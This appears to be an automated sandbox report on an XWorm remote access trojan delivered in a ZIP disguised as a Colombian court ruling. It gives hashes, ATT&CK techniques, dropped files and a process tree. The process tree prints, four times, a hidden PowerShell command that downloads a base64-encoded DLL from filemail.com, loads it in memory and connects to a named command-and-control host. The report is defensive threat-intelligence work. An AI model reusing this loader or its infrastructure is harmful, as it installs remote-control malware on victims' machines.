xworm | 0cf292ac0cdac7a8a901ca29ad6db6782fc49ad1b29508c22c1c77c9c823434b

General

Target

FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.zip
Size

6KB
MD5

298e4d9405ddb8493d6b7beff47b1f40
SHA1

337ffe4c1032276b6ac4997cdb8e549ad3bed5c3
SHA256

0cf292ac0cdac7a8a901ca29ad6db6782fc49ad1b29508c22c1c77c9c823434b
SHA512

d91f2c3dcd115dd6e25aff3d25243571b45a1d80eaf80169c86fba8a54b3c80b00741100711c103d21ab119cce9f115384759183c0a4eb289706d6a5f1a28644
SSDEEP

192:cerAWJ85Qm+CgkpP01O598cF72VzEb6BY:cgxwR+OqU38cwVo6u

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

exe.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2304-36-0x0000025EEF6D0000-0x0000025EEFA64000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	2304	powershell.exe
5	4692	powershell.exe
6	1868	powershell.exe
7	4764	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2304	powershell.exe
4692	powershell.exe
1868	powershell.exe
4764	powershell.exe

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat	cmd.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	7zFM.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	7zFM.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2304	powershell.exe
2304	powershell.exe
4692	powershell.exe
4692	powershell.exe
1868	powershell.exe
1868	powershell.exe
4764	powershell.exe
4764	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2516	7zFM.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeRestorePrivilege	2516	7zFM.exe
Token: 35	2516	7zFM.exe
Token: SeSecurityPrivilege	2516	7zFM.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2516	7zFM.exe
2516	7zFM.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 2304	2836	cmd.exe	83
PID 2836 wrote to memory of 2304	2836	cmd.exe	83
PID 1268 wrote to memory of 4692	1268	cmd.exe	86
PID 1268 wrote to memory of 4692	1268	cmd.exe	86
PID 4792 wrote to memory of 1868	4792	cmd.exe	89
PID 4792 wrote to memory of 1868	4792	cmd.exe	89
PID 1712 wrote to memory of 4764	1712	cmd.exe	92
PID 1712 wrote to memory of 4764	1712	cmd.exe	92

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.zip"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2516

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat" "
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('gabrielfuentes.chickenkiller.com', '1996');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2304

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat" "
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('gabrielfuentes.chickenkiller.com', '1996');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4692

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat" "
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('gabrielfuentes.chickenkiller.com', '1996');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1868

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat" "
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('gabrielfuentes.chickenkiller.com', '1996');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
7f803908e5595ac7805479ffa4f4fc41

SHA1
42e1ba3a6f437dfcdaa03d714d56e807910fe69b

SHA256
37b6b80af283174c508fcb8a5faa0854ba1ab2add391502bbd8e81c18df0ad4d

SHA512
a4aff0953c7827d879f94d9503963c04146c94fef8d4183ef1d1479a787339272db362349bdffc4f0235667a9c7daf8a962c8c641c12fd90277e0c4af8dbe04d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ed103588e08c7e58867bb1afb4614e40

SHA1
983443fd0fff4c395f5faf978c29d92c8deeab34

SHA256
177c41ab1ac9ba988e1b522e667c48d72168739bcee770cdbcd9ce705b66c90c

SHA512
04f5ace2415de270b3ebac8542d98cc3476a2416b368519aa62adc15eeaf7c037f328d91792db85ad7c81989e6d3761ad562884565ab99181c7973de0002611c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2tozqpqc.3ca.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat

Filesize
210KB

MD5
24e3c5a8c5ce37efb76a08a124a2f525

SHA1
1378fa68873d9ce2368aac281632ff5dab2f59d0

SHA256
233bca3f0a5f3dbc98d3765ecc8631fd552366a78f052cc13c970b94a107e459

SHA512
e9ae4a7948cefe01143e5646220f9b6d1c78b34db0ec4f2220d74daf8add209d5b55f76eb2fcf2b3d995cdeee957aebb3e0f9f736cced0ddba8ba249d18bcc62

Download Submit
memory/2304-13-0x0000025EEF1A0000-0x0000025EEF1C2000-memory.dmp

Filesize
136KB

Download
memory/2304-36-0x0000025EEF6D0000-0x0000025EEFA64000-memory.dmp

Filesize
3.6MB

Download

Analysis

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